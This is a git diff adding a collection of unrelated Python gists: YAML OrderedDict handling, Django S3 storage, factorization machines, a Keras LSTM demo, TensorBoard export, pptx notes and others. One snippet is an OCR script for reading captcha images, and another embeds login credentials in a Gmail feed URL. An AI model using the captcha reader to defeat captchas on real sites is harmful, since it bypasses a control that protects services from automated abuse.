+    OrderedDict([('foo', 'bar'), ('mumble', 'quux'), ('baz', 'gorp')])
+    """
+
+    omap = OrderedDict()
+    yield omap
+    if not isinstance(node, yaml.SequenceNode):
+        raise yaml.constructor.ConstructorError(
+            "while constructing an ordered map",
+            node.start_mark,
+            "expected a sequence, but found %s" % node.id, node.start_mark
+        )
+    for subnode in node.value:
+        if not isinstance(subnode, yaml.MappingNode):
+            raise yaml.constructor.ConstructorError(
+                "while constructing an ordered map", node.start_mark,
+                "expected a mapping of length 1, but found %s" % subnode.id,
+                subnode.start_mark
+            )
+        if len(subnode.value) != 1:
+            raise yaml.constructor.ConstructorError(
+                "while constructing an ordered map", node.start_mark,
+                "expected a single mapping item, but found %d items" % len(subnode.value),
+                subnode.start_mark
+            )
+        key_node, value_node = subnode.value[0]
+        key = load.construct_object(key_node)
+        value = load.construct_object(value_node)
+        omap[key] = value
+
+yaml.add_constructor(u'tag:yaml.org,2002:omap', construct_odict)
+
+
+### Represent OrderedDict
+
+def repr_odict(dumper, data):
+    """
+    >>> data = OrderedDict([('foo', 'bar'), ('mumble', 'quux'), ('baz', 'gorp')])
+    >>> yaml.dump(data, default_flow_style=False)
+    '!!omap\\n- foo: bar\\n- mumble: quux\\n- baz: gorp\\n'
+    >>> yaml.dump(data, default_flow_style=True)
+    '!!omap [foo: bar, mumble: quux, baz: gorp]\\n'
+    """
+    return repr_pairs(dumper, u'tag:yaml.org,2002:omap', data.iteritems())
+
+yaml.add_representer(OrderedDict, repr_odict)
+
+def repr_pairs(dump, tag, sequence, flow_style=None):
+    """This is the same code as BaseRepresenter.represent_sequence(),
+    but the value passed to dump.represent_data() in the loop is a
+    dictionary instead of a tuple."""
+
+    value = []
+    node = yaml.SequenceNode(tag, value, flow_style=flow_style)
+    if dump.alias_key is not None:
+        dump.represented_objects[dump.alias_key] = node
+    best_style = True
+    for (key, val) in sequence:
+        item = dump.represent_data({key: val})
+        if not (isinstance(item, yaml.ScalarNode) and not item.style):
+            best_style = False
+        value.append(item)
+    if flow_style is None:
+        if dump.default_flow_style is not None:
+            node.flow_style = dump.default_flow_style
+        else:
+            node.flow_style = best_style
+    return node
+
+if __name__ == '__main__':
+    import doctest
+    doctest.testmod()
diff --git a/hard-gists/3178905/._snippet.py b/hard-gists/3178905/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3178905/._snippet.py differ
diff --git a/hard-gists/3178905/snippet.py b/hard-gists/3178905/snippet.py
new file mode 100644
index 00000000..eddcd213
--- /dev/null
+++ b/hard-gists/3178905/snippet.py
@@ -0,0 +1,31 @@
+from boto.utils import parse_ts
+from django.core.files.storage import get_storage_class
+from storages.backends.s3boto import S3BotoStorage
+
+"""
+make sure you have this setting
+AWS_PRELOAD_METADATA = True
+and that you have python-dateutils==1.5 installed
+"""
+
+class CachedS3BotoStorage(S3BotoStorage):
+    """
+    S3 storage backend that saves the files locally, too.
+    """
+    def __init__(self, *args, **kwargs):
+        super(CachedS3BotoStorage, self).__init__(*args, **kwargs)
+        self.local_storage = get_storage_class(
+            "compressor.storage.CompressorFileStorage")()
+
+    def save(self, name, content):
+        name = super(CachedS3BotoStorage, self).save(name, content)
+        self.local_storage._save(name, content)
+        return name
+
+    def modified_time(self, name):
+        name = self._normalize_name(self._clean_name(name))
+        entry = self.entries.get(name)
+        if entry is None:
+            entry = self.bucket.get_key(self._encode_name(name))
+        # Parse the last_modified string to a local datetime object.
+        return parse_ts(entry.last_modified)
diff --git a/hard-gists/3181989/._snippet.py b/hard-gists/3181989/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3181989/._snippet.py differ
diff --git a/hard-gists/3181989/snippet.py b/hard-gists/3181989/snippet.py
new file mode 100644
index 00000000..123829fe
--- /dev/null
+++ b/hard-gists/3181989/snippet.py
@@ -0,0 +1,44 @@
+#!/usr/bin/env python
+#-*- coding:utf-8 -*-
+
+import sys
+import StringIO
+
+import requests
+import PIL.Image
+import tesserwrap
+
+
+#: https://github.com/gregjurman/tesserwrap
+tesseract = tesserwrap.tesseract()
+
+
+def distinguish_captcha(image_url, show_origin_image=True):
+    #: preprocess
+    image_bytes = requests.get(image_url).content
+    origin_image = PIL.Image.open(StringIO.StringIO(image_bytes))
+    image = origin_image.point(lambda p: p * 1.5)\
+        .point(lambda p: 255 if p > 200 else 0)\
+        .convert("1")
+    #: distinguish the text
+    text = tesseract.ocr_image(image)
+    #: show the origin image
+    if show_origin_image:
+        origin_image.show()
+    return text.strip()
+
+
+def main():
+    url = raw_input("Please input the url of captcha:\n > ").strip()
+    print >> sys.stderr, ">>> Press Ctrl + C to stop."
+    print >> sys.stderr, ">>> Press any key to continue."
+    while True:
+        raw_input()
+        print distinguish_captcha(url)
+
+
+if __name__ == "__main__":
+    try:
+        print main()
+    except KeyboardInterrupt:
+        print >> sys.stderr, ">>> Exit."
diff --git a/hard-gists/3197a2bae38f77799ea8/._snippet.py b/hard-gists/3197a2bae38f77799ea8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3197a2bae38f77799ea8/._snippet.py differ
diff --git a/hard-gists/3197a2bae38f77799ea8/snippet.py b/hard-gists/3197a2bae38f77799ea8/snippet.py
new file mode 100644
index 00000000..9fcd9217
--- /dev/null
+++ b/hard-gists/3197a2bae38f77799ea8/snippet.py
@@ -0,0 +1,300 @@
+""" Poisson-loss Factorization Machines with Numba
+
+Follows the vanilla FM model from:
+Steffen Rendle (2012): Factorization Machines with libFM.
+In: ACM Trans. Intell. Syst. Technol., 3(3), May.
+http://doi.acm.org/10.1145/2168752.2168771
+
+See also: https://github.com/coreylynch/pyFM
+"""
+
+# Author: Vlad Niculae <vlad@vene.ro>
+# License: Simplified BSD
+
+from __future__ import print_function
+import numpy as np
+from numba import jit
+from scipy import sparse as sp
+
+from sklearn.utils import check_random_state, check_array, check_X_y
+from sklearn.metrics import mean_squared_error
+from sklearn.preprocessing import OneHotEncoder
+
+
+@jit("f8(f8[:], i4[:], f8[:], f8[:], f8[:,:], f8[:])", nopython=True)
+def _fm_predict(row_data, row_indices, scaling, w, V, Vx):
+    """Factorization machine forward pass"""
+    pred = 0
+    for i in range(row_indices.shape[0]):
+        pred += w[row_indices[i]] * row_data[i]
+    pred *= scaling[1]  # pred = wscale * dot(x, w/wscale)
+
+    pred += scaling[0]  # add bias
+
+    second_order = 0
+    for d in range(V.shape[1]):
+        Vx[d] = 0
+        for i in range(row_indices.shape[0]):
+            v_id = V[row_indices[i], d]
+            Vx[d] += v_id * row_data[i]
+            second_order -= (v_id ** 2) * (row_data[i] ** 2)
+        second_order += Vx[d] ** 2
+        Vx[d] *= scaling[2]  # Vx = Vscale * dot(V/Vscale, x),
+    second_order *= 0.5 * scaling[2] ** 2
+    # second_order = 1/2 Vscale^2 * [dot(V/Vscale, x)^2 - (V/Vscale)^2 * x^2]
+    pred += second_order
+    return pred
+
+
+@jit("f8[:](f8[:], i4[:], i4[:], f8[:], f8[:], f8[:,:], i4)")
+def _fm_predict_batch_fast(X_data, X_indices, X_indptr, scaling, w, V,
+                           n_samples):
+    res = np.zeros(n_samples, dtype=np.double)
+    for i in range(n_samples):
+        for k in range(X_indptr[i], X_indptr[i + 1]):
+            res[i] += w[X_indices[k]] * X_data[k]
+        res[i] *= scaling[1]
+        res[i] += scaling[0]
+        second_order = 0
+        for d in range(V.shape[1]):
+            vx = 0
+            for k in range(X_indptr[i], X_indptr[i + 1]):
+                v_id = V[X_indices[k], d]
+                vx += v_id * X_data[k]
+                second_order -= (v_id ** 2) * (X_data[i] ** 2)
+            second_order += vx ** 2
+        second_order *= 0.5 * scaling[2] ** 2
+        res[i] += second_order
+    return res
+
+
+def _fm_predict_batch(X, scaling, w, V):
+    """Factorization machine prediction over a batch."""
+    return _fm_predict_batch_fast(X.data, X.indices, X.indptr, scaling, w, V,
+                                  X.shape[0])
+
+
+@jit('void(f8[:], i4[:], f8, f8[:], f8[:], f8[:, :], f8, f8, f8)',
+     nopython=True)
+def _fm_poisson_step(data, indices, y, scaling, w, V, learning_rate, reg_w,
+                     reg_V):
+    Vx = np.empty(V.shape[1], dtype=np.double)  # byproduct of _fm_predict
+    z = _fm_predict(data, indices, scaling, w, V, Vx)
+    # loss: exp(z) - y * z + y! (y! = ln gamma(y + 1))
+    dloss_dz = np.exp(z) - y
+
+    # update bias:
+    scaling[0] -= learning_rate * dloss_dz
+
+    # update w: gradw_i = x_i
+    for k in range(indices.shape[0]):
+        w[indices[k]] -= learning_rate * dloss_dz * data[k] / scaling[1]
+
+    # update V:  d indexes latent dims, i=indices[k] indexes nonzero features
+    # gradv_id = x_i * sum(v_jd x_j) - v_id * x_i^2
+    for d in range(V.shape[1]):
+        for k in range(indices.shape[0]):
+            grad_v = data[k] * Vx[d] / scaling[2]
+            grad_v -= V[indices[k], d] * data[k] ** 2
+            V[indices[k], d] -= learning_rate * dloss_dz * grad_v
+
+    # L2-regularize without touching the data
+    # Inspired by the scikit-learn stochastic gradient descent approach
+    # do not scale to negative values reg_* is too big: instead set to zero
+    scaling[1] *= max(0, 1.0 - learning_rate * reg_w)
+    scaling[2] *= max(0, 1.0 - learning_rate * reg_V)
+
+
+@jit("void(f8[:], i4[:], i4[:], f8[:], f8[:], f8[:], f8[:, :], f8, f8, f8)",
+     nopython=True)
+def _fm_poisson_epoch(X_data, X_indices, X_indptr, y, scaling, w, V,
+                      learning_rate, reg_w, reg_V):
+    n_samples = y.shape[0]
+    for i in range(n_samples):
+        _fm_poisson_step(X_data[X_indptr[i]:X_indptr[i + 1]],
+                         X_indices[X_indptr[i]:X_indptr[i + 1]],
+                         y[i], scaling, w, V, learning_rate, reg_w, reg_V)
+
+
+def factorization_machine_poisson(X, y, X_val=None, y_val=None, n_latent=3,
+                                  reg_w=1., reg_V=1., init_std=0.001,
+                                  warm_start=None, learning_rate=0.01,
+                                  n_iter=10, verbose=False, random_state=None):
+    """Learns a factorization machine model with Poisson loss by SGD.
+
+    The response is modeled as:
+        y = exp(intercept + <w, x> + sum_i sum_j>i <x_i * v_i, x_j * v_j>,
+
+    where <., .> is the dot product,
+    w is a vector of length n_features capturing first-degree effects
+    and V is an array (n_features, n_latent) for second-degree interactions.
+
+    The Poisson loss is appropriate for count and rate outputs.
+
+    Parameters
+    ----------
+    X: array-like or sparse, shape: (n_samples, n_features)
+        Training data points.
+
+    y: array, shape: (n_samples,)
+        Target labels.
+
+    X_val: array-like or sparse, shape: (n_samples_val, n_features), optional
+        Validation data points. Used only if verbose != False
+
+    y_val: array, shape: (n_samples_val,), optional
+        Validation labels. Used only if verbose != False
+
+    n_latent: int,
+        Latent dimensions of the second-degree model. Default: 3
+
+    reg_w: float,
+        Regularization amount for first-degree weights. Default: 1
+
+    reg_V: float,
+        Regularization amount for second-degree weights. Default: 1
+
+    init_std: float,
+        Initial scale of weight values. (Used only if warm_start is None.)
+        Weights are initialized from a centered gaussian with init_std scale.
+        Default: 0.001
+
+    warm_start: tuple (intercept, w, V) or None,
+        Initial setting for the weights.
+
+    learning_rate: float,
+        Step size for stochastic gradient descent. Default: 0.01
+
+    n_iter: int,
+        Maximum number of passes over the training data. Default: 10
+
+    verbose: int,
+        If > 0, prints statistics at every `verbose` iteration. Default: False.
+
+    random_state: int, RandomState or None:
+        Seed for the random number generator.
+
+    Returns
+    -------
+
+    scaling: tuple (intercept, w_scale, V_scale),
+        Scales of the learning parameters.
+
+    w: array, shape (n_features,):
+        First degree coefficients, divided by w_scale (see scaling above)
+
+    V: array, shape (n_features, n_latent):
+        Embedded second-degree interaction weights, divided by V_scale.
+
+    """
+    X, y = check_X_y(X, y, accept_sparse='csr', dtype=np.double)
+    y = y.astype(np.double)
+    if not sp.issparse(X):  # force sparse
+        X = sp.csr_matrix(X)
+    if X_val is not None:
+        X_val, y_val = check_X_y(X_val, y_val, accept_sparse='csr',
+                                 dtype=np.double)
+        if not sp.issparse(X):
+            X = sp.csr_matrix(X)
+
+    n_samples, n_features = X.shape
+    rng = check_random_state(random_state)
+
+    reg_w *= 0.5
+    reg_V *= 0.5 * n_latent  # Unsure about the correct scaling
+
+    # initialize
+    if warm_start is not None:
+        bias, w, V = warm_start
+        scaling = np.array([bias, 1, 1], dtype=np.double)
+    else:
+        w = rng.randn(n_features)
+        V = rng.randn(n_features, n_latent)
+        scaling = np.array([0, init_std, init_std], dtype=np.double)
+
+    for it in range(n_iter):
+        if verbose and it % verbose == 0:
+            pred_tr = _fm_predict_batch(X, scaling, w, V)
+            pred_te = _fm_predict_batch(X_val, scaling, w, V)
+            np.exp(pred_tr, out=pred_tr)
+            np.exp(pred_te, out=pred_te)
+            dloss = np.mean(y - pred_tr)
+            print(
+                "{:>3}: dloss={:<8.4f} MSE tr={:<4.2f}, valid={:4.2f}".format(
+                    it,
+                    dloss,
+                    mean_squared_error(y, pred_tr),
+                    mean_squared_error(y_val, pred_te)),
+                end=" ")
+
+        _fm_poisson_epoch(X.data, X.indices, X.indptr, y, scaling, w, V,
+                          learning_rate, reg_w, reg_V)
+
+        # rescale if needed
+        if scaling[1] <= 1e-9:
+            w *= scaling[1]
+            scaling[1] = 1.0
+
+        if scaling[2] <= 1e-9:
+            V *= scaling[2]
+            scaling[2] = 1.0
+
+        if verbose and it % verbose == 0:
+            print("w_0={:<6.2f} ||w||={:<6.2f} ||V||={:<6.2f}".format(
+                scaling[0],
+                np.linalg.norm(w * scaling[1]),
+                np.linalg.norm(V.ravel() * scaling[2])))
+    return scaling, w, V
+
+
+def array_to_fm_format(X):
+    """Converts a dense or sparse array X to factorization machine format.
+
+    If x[i, j] is represented (if X is sparse) or not nan (if dense)
+    the output will have a row:
+        [one_hot(i), one_hot(j)] -> x[i, j]
+
+    Parameters
+    ----------
+    X, array-like or sparse
+        Input array
+
+    Returns
+    -------
+    X_one_hot, sparse array, shape (n_x_entries, X.shape[1] + X.shape[2])
+        Indices of non-empty values in X, in factorization machine format.
+
+    y: array, shape (n_x_entries,)
+        Non-empty values in X.
+    """
+    X = check_array(X, accept_sparse='coo', force_all_finite=False)
+    n_rows, n_cols = X.shape
+    encoder = OneHotEncoder(n_values=[n_rows, n_cols])
+    if sp.issparse(X):
+        y = X.data
+        X_ix = np.column_stack([X.row, X.col])
+    else:
+        ix = np.isfinite(X)
+        X_ix = np.column_stack(np.where(ix))
+        y = X[ix].ravel()
+    X_oh = encoder.fit_transform(X_ix)
+    return X_oh, y
+
+
+if __name__ == '__main__':
+    from scipy.stats.distributions import poisson
+    from sklearn.cross_validation import train_test_split
+    from time import time
+
+    X_dense = poisson.rvs(mu=3, size=(500, 600), random_state=0)
+    X, y = array_to_fm_format(X_dense)
+    X, X_val, y, y_val = train_test_split(X, y, random_state=0)
+    for reg in (0, 1e-5):
+        print("Regularization: {}".format(reg))
+        t0 = time()
+        w_0, w, V = factorization_machine_poisson(
+            X, y, X_val, y_val, n_latent=50,
+            reg_w=reg, reg_V=reg,
+            init_std=0.01, learning_rate=5e-3, n_iter=31, verbose=10,
+            random_state=0)
+        print("Done in {}".format(time() - t0))
diff --git a/hard-gists/31ccafbfceac2ed88974/._snippet.py b/hard-gists/31ccafbfceac2ed88974/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/31ccafbfceac2ed88974/._snippet.py differ
diff --git a/hard-gists/31ccafbfceac2ed88974/snippet.py b/hard-gists/31ccafbfceac2ed88974/snippet.py
new file mode 100644
index 00000000..2ef461b1
--- /dev/null
+++ b/hard-gists/31ccafbfceac2ed88974/snippet.py
@@ -0,0 +1,58 @@
+import pandas as pd  
+from random import random
+
+flow = (list(range(1,10,1)) + list(range(10,1,-1)))*1000  
+pdata = pd.DataFrame({"a":flow, "b":flow})  
+pdata.b = pdata.b.shift(9)  
+data = pdata.iloc[10:] * random()  # some noise  
+
+import numpy as np
+
+def _load_data(data, n_prev = 100):  
+    """
+    data should be pd.DataFrame()
+    """
+
+    docX, docY = [], []
+    for i in range(len(data)-n_prev):
+        docX.append(data.iloc[i:i+n_prev].as_matrix())
+        docY.append(data.iloc[i+n_prev].as_matrix())
+    alsX = np.array(docX)
+    alsY = np.array(docY)
+
+    return alsX, alsY
+
+def train_test_split(df, test_size=0.1):  
+    """
+    This just splits data to training and testing parts
+    """
+    ntrn = round(len(df) * (1 - test_size))
+
+    X_train, y_train = _load_data(df.iloc[0:ntrn])
+    X_test, y_test = _load_data(df.iloc[ntrn:])
+
+    return (X_train, y_train), (X_test, y_test)
+
+from keras.models import Sequential  
+from keras.layers.core import Dense, Activation  
+from keras.layers.recurrent import LSTM
+
+in_neurons = 2  
+out_neurons = 2  
+hidden_neurons = 20
+
+model = Sequential()  
+model.add(LSTM(output_dim=hidden_neurons, input_dim=in_neurons, return_sequences=False)) 
+model.add(Dense(output_dim=out_neurons, input_dim=hidden_neurons))
+model.add(Activation("linear"))  
+model.compile(loss="mean_squared_error", optimizer="rmsprop")  
+
+(X_train, y_train), (X_test, y_test) = train_test_split(data)  # retrieve data
+model.fit(X_train, y_train, batch_size=450, nb_epoch=10, validation_split=0.05)  
+
+predicted = model.predict(X_test)  
+rmse = np.sqrt(((predicted - y_test) ** 2).mean(axis=0))
+
+# and maybe plot it
+pd.DataFrame(predicted[:100]).to_csv("predicted.csv")  
+pd.DataFrame(y_test[:100]).plot("test_data.csv")  
\ No newline at end of file
diff --git a/hard-gists/31eee50b9aaebf387b380f70054575c5/._snippet.py b/hard-gists/31eee50b9aaebf387b380f70054575c5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/31eee50b9aaebf387b380f70054575c5/._snippet.py differ
diff --git a/hard-gists/31eee50b9aaebf387b380f70054575c5/snippet.py b/hard-gists/31eee50b9aaebf387b380f70054575c5/snippet.py
new file mode 100644
index 00000000..09f89beb
--- /dev/null
+++ b/hard-gists/31eee50b9aaebf387b380f70054575c5/snippet.py
@@ -0,0 +1,91 @@
+from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
+
+
+import csv
+import errno
+import os
+import re
+
+import tensorflow as tf
+from tensorboard.backend.event_processing import plugin_event_multiplexer as event_multiplexer  # pylint: disable=line-too-long
+
+
+# Control downsampling: how many scalar data do we keep for each run/tag
+# combination?
+SIZE_GUIDANCE = {'scalars': 1000}
+
+
+def extract_scalars(multiplexer, run, tag):
+  """Extract tabular data from the scalars at a given run and tag.
+
+  The result is a list of 3-tuples (wall_time, step, value).
+  """
+  tensor_events = multiplexer.Tensors(run, tag)
+  return [
+      (event.wall_time, event.step, tf.make_ndarray(event.tensor_proto).item())
+      for event in tensor_events
+  ]
+
+
+def create_multiplexer(logdir):
+  multiplexer = event_multiplexer.EventMultiplexer(
+      tensor_size_guidance=SIZE_GUIDANCE)
+  multiplexer.AddRunsFromDirectory(logdir)
+  multiplexer.Reload()
+  return multiplexer
+
+
+def export_scalars(multiplexer, run, tag, filepath, write_headers=True):
+  data = extract_scalars(multiplexer, run, tag)
+  with open(filepath, 'w') as outfile:
+    writer = csv.writer(outfile)
+    if write_headers:
+      writer.writerow(('wall_time', 'step', 'value'))
+    for row in data:
+      writer.writerow(row)
+
+
+NON_ALPHABETIC = re.compile('[^A-Za-z0-9_]')
+
+def munge_filename(name):
+  """Remove characters that might not be safe in a filename."""
+  return NON_ALPHABETIC.sub('_', name)
+
+
+def mkdir_p(directory):
+  try:
+    os.makedirs(directory)
+  except OSError as e:
+    if not (e.errno == errno.EEXIST and os.path.isdir(directory)):
+      raise
+
+
+def main():
+  run_names = (
+      'scalars_demo/temperature:t0=270,tA=270,kH=%s' % x
+      for x in ('0.001', '0.005')
+  )
+  tag_names = ('temperature/current/scalar_summary', 'delta/scalar_summary')
+
+  logdir = '/tmp/data'
+  output_dir = '/tmp/csv_output'
+  mkdir_p(output_dir)
+
+  print("Loading data...")
+  multiplexer = create_multiplexer(logdir)
+  for run_name in run_names:
+    for tag_name in tag_names:
+      output_filename = '%s___%s' % (
+          munge_filename(run_name), munge_filename(tag_name))
+      output_filepath = os.path.join(output_dir, output_filename)
+      print(
+          "Exporting (run=%r, tag=%r) to %r..."
+          % (run_name, tag_name, output_filepath))
+      export_scalars(multiplexer, run_name, tag_name, output_filepath)
+  print("Done.")
+
+
+if __name__ == '__main__':
+  main()
diff --git a/hard-gists/3205bf5aab78623c5ee5/._snippet.py b/hard-gists/3205bf5aab78623c5ee5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3205bf5aab78623c5ee5/._snippet.py differ
diff --git a/hard-gists/3205bf5aab78623c5ee5/snippet.py b/hard-gists/3205bf5aab78623c5ee5/snippet.py
new file mode 100644
index 00000000..d962a25b
--- /dev/null
+++ b/hard-gists/3205bf5aab78623c5ee5/snippet.py
@@ -0,0 +1,189 @@
+"""
+Example of accessing the notes slides of a presentation.
+Requires python-pptx 0.5.6 or later.
+
+ryan@ryanday.net
+"""
+
+from pptx.util import lazyproperty, Pt
+from pptx.parts.slide import BaseSlide, Slide, _SlideShapeTree, _SlidePlaceholders
+from pptx.shapes.shape import BaseShape
+from pptx.opc.constants import RELATIONSHIP_TYPE as RT, CONTENT_TYPE as CT
+from pptx.enum.shapes import MSO_SHAPE_TYPE, PP_PLACEHOLDER_TYPE
+from pptx.oxml.xmlchemy import BaseOxmlElement, OneAndOnlyOne, ZeroOrOne
+from pptx.oxml import parse_xml
+from pptx.oxml.ns import nsdecls
+from pptx.opc.constants import CONTENT_TYPE as CT
+from pptx.oxml import register_element_cls
+from pptx import content_type_to_part_class_map
+from pptx.opc.package import PartFactory
+
+
+"""
+http://msdn.microsoft.com/en-us/library/office/gg278319%28v=office.15%29.aspx
+"""
+
+
+class CT_NotesSlide(BaseOxmlElement):
+    """
+    ``<p:notes>`` element, root of a notesSlide part
+    """
+    cSld = OneAndOnlyOne('p:cSld')
+    clrMapOvr = ZeroOrOne('p:clrMapOvr', successors=(
+        'p:transition', 'p:timing', 'p:extLst'
+    ))
+
+    @classmethod
+    def new(cls):
+        """
+        Return a new ``<p:notes>`` element configured as a base slide shape.
+        """
+        return parse_xml(cls._notes_xml())
+
+    @staticmethod
+    def _notes_xml():
+        """From http://msdn.microsoft.com/en-us/library/office/gg278319%28v=office.15%29.aspx#sectionSection4
+        """
+        return (
+           '<p:notes %s>\n'
+           '   <p:cSld>\n'
+           '     <p:spTree>\n'
+           '       <p:nvGrpSpPr>\n'
+           '         <p:cNvPr id="1"\n'
+           '                  name="" />\n'
+           '         <p:cNvGrpSpPr />\n'
+           '         <p:nvPr />\n'
+           '       </p:nvGrpSpPr>\n'
+           '       <p:grpSpPr>\n'
+           '         <a:xfrm xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" />\n'
+           '       </p:grpSpPr>\n'
+           '       <p:sp>\n'
+           '         <p:nvSpPr>\n'
+           '           <p:cNvPr id="2"\n'
+           '                    name="" />\n'
+           '           <p:cNvSpPr>\n'
+           '             <a:spLocks noGrp="1"\n'
+           '                        xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" />\n'
+           '           </p:cNvSpPr>\n'
+           '           <p:nvPr>\n'
+           '             <p:ph />\n'
+           '           </p:nvPr>\n'
+           '         </p:nvSpPr>\n'
+           '         <p:spPr />\n'
+           '         <p:txBody>\n'
+           '           <a:bodyPr xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" />\n'
+           '           <a:lstStyle xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" />\n'
+           '           <a:p xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main">\n'
+           '             <a:endParaRPr />\n'
+           '           </a:p>\n'
+           '         </p:txBody>\n'
+           '       </p:sp>\n'
+           '     </p:spTree>\n'
+           '   </p:cSld>\n'
+           '   <p:clrMapOvr>\n'
+           '     <a:masterClrMapping xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" />\n'
+           '  </p:clrMapOvr>\n'
+           '</p:notes>\n' % nsdecls('p', 'a', 'r')
+        )
+
+
+class SlideWrapper(Slide):
+    """Wrapper class for Slide that provides the .notes() property
+    """
+    def __init__(self, slide):
+        self._slide = slide
+        self._notes_slide = None
+
+    def __getattr__(self, attr):
+        return self._slide.__getattribute__(attr)
+
+    @lazyproperty
+    def notes(self):
+        """Return all related notesSlides (from @inl1ne's branch)
+        """
+        notes_slide = None
+        try:
+            notes_slide = self.part_related_by(RT.NOTES_SLIDE)
+        except KeyError:
+            notes_slide = SlideNotes.new(self, self.partname, self.package)
+            rId = self.relate_to(notes_slide, RT.NOTES_SLIDE)
+
+        return self.part_related_by(RT.NOTES_SLIDE)
+
+    def create_notes_slide(self):
+        """
+        """
+        self._notes_slide = NotesSlide.new(self, self.partname, self.package)
+        rId = self.relate_to(self._notes_slide, RT.NOTES_SLIDE)
+        return rId
+
+
+class NotesSlide(BaseSlide):
+    """This class will represent the Part of the notesSlide. Any notes retrieved
+    from the presentation slides will be an instance of this class.
+    """
+    @classmethod
+    def new(cls, slide, partname, package):
+        notes_slide_elm = CT_NotesSlide.new()
+        slide = cls(partname, CT.PML_NOTES_SLIDE, notes_slide_elm, package)
+        return slide
+
+    @lazyproperty
+    def shapes(self):
+        """
+        Instance of |_SlideShapeTree| containing sequence of shape objects
+        appearing on this slide.
+        """
+        return _SlideShapeTree(self)
+
+    @lazyproperty
+    def placeholders(self):
+        """
+        Instance of |_SlidePlaceholders| containing sequence of placeholder
+        shapes in this slide.
+        """
+        return _SlidePlaceholders(self)
+
+    def add_multiline_note(self, text):
+        for line in text.split('\n'):
+            self.add_note(line)
+
+    def add_note(self, text):
+        """Add some text to the notesSlide, return paragraph
+        that was added or False if no textframes were found
+        """
+        for shape in self.shapes:
+            if shape.has_text_frame and shape.is_placeholder:
+                if hasattr(shape, 'ph_type') and shape.ph_type == PP_PLACEHOLDER_TYPE.BODY:
+                    return shape.text_frame.add_paragraph()
+        return False
+
+    def clear_notes(self):
+        """Remove all current notes from the slide
+        """
+        for shape in self.shapes:
+            if shape.has_text_frame:
+                shape.text_frame.clear()
+
+    def get_slide_runs(self):
+        for shape in self.shapes:
+            if shape.has_text_frame and shape.is_placeholder:
+                for p in shape.text_frame.paragraphs:
+                    for run in p.runs:
+                        yield run
+
+
+
+
+# Register the <p:notes> root tag
+register_element_cls('p:notes', CT_NotesSlide)
+
+# Add our NotesSlide as a valid Part for the notes Content Type
+content_type_to_part_class_map[CT.PML_NOTES_SLIDE] = NotesSlide
+PartFactory.part_type_for.update(content_type_to_part_class_map)
+
+
+"""
+slide = self.presentation.slides[1]
+notes_slide = SlideWrapper(slide).notes_page()
+"""
diff --git a/hard-gists/320a949b092bf30913ef/._snippet.py b/hard-gists/320a949b092bf30913ef/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/320a949b092bf30913ef/._snippet.py differ
diff --git a/hard-gists/320a949b092bf30913ef/snippet.py b/hard-gists/320a949b092bf30913ef/snippet.py
new file mode 100644
index 00000000..81cd5930
--- /dev/null
+++ b/hard-gists/320a949b092bf30913ef/snippet.py
@@ -0,0 +1,9 @@
+# AppData\Roaming\Sublime Text 3\Packages\User\default_syntax.py
+
+import sublime, sublime_plugin
+
+class DefaultSyntaxCommand(sublime_plugin.EventListener):
+   def on_new(self, view):
+    # Replace <Language> with desired default language
+    # Check in AppData\Local\Sublime Text 3\Cache
+    view.set_syntax_file('Packages/<Language>/<Language>.tmLanguage')
\ No newline at end of file
diff --git a/hard-gists/3210264/._snippet.py b/hard-gists/3210264/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3210264/._snippet.py differ
diff --git a/hard-gists/3210264/snippet.py b/hard-gists/3210264/snippet.py
new file mode 100644
index 00000000..9c2d9528
--- /dev/null
+++ b/hard-gists/3210264/snippet.py
@@ -0,0 +1,22 @@
+#!/usr/bin/env python
+# encoding: utf-8
+
+from urllib.request import FancyURLopener
+
+username = 'username'
+password  = 'superlongandhardpassword'
+
+url = 'https://%s:%s@mail.google.com/mail/feed/atom' % (username, password)
+
+opener = FancyURLopener()
+page = opener.open(url)
+
+contents = page.read().decode('utf-8')
+
+
+ifrom = contents.index('<fullcount>') + 11
+ito   = contents.index('</fullcount>')
+
+unread = contents[ifrom:ito]
+
+print(unread)
\ No newline at end of file
diff --git a/hard-gists/3211f1660291f871739379082f204c83/._snippet.py b/hard-gists/3211f1660291f871739379082f204c83/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3211f1660291f871739379082f204c83/._snippet.py differ
diff --git a/hard-gists/3211f1660291f871739379082f204c83/snippet.py b/hard-gists/3211f1660291f871739379082f204c83/snippet.py
new file mode 100644
index 00000000..7b3b9236
--- /dev/null
+++ b/hard-gists/3211f1660291f871739379082f204c83/snippet.py
@@ -0,0 +1,261 @@
+#!/usr/bin/env python3
+# coding=utf-8
+import json
+
+from ansible.executor.task_queue_manager import TaskQueueManager
+from ansible.inventory import Inventory
+from ansible.inventory.group import Group
+from ansible.inventory.host import Host
+from ansible.parsing.dataloader import DataLoader
+from ansible.playbook.play import Play
+from ansible.plugins.callback import CallbackBase
+from ansible.vars import VariableManager
+
+
+class CallbackModule(CallbackBase):
+    """
+    Reference: https://github.com/ansible/ansible/blob/v2.0.0.2-1/lib/ansible/plugins/callback/default.py
+    """
+
+    CALLBACK_VERSION = 2.0
+    CALLBACK_TYPE = 'stored'
+    CALLBACK_NAME = 'database'
+
+    def __init__(self):
+        super(CallbackModule, self).__init__()
+        self.state = None
+        self.result = None
+
+    def v2_runner_on_failed(self, result, ignore_errors=False):
+        self.state = 'failed'
+        self.result = result._result
+
+    def v2_runner_on_ok(self, result):
+        self.result = result._result
+        self.state = 'ok'
+
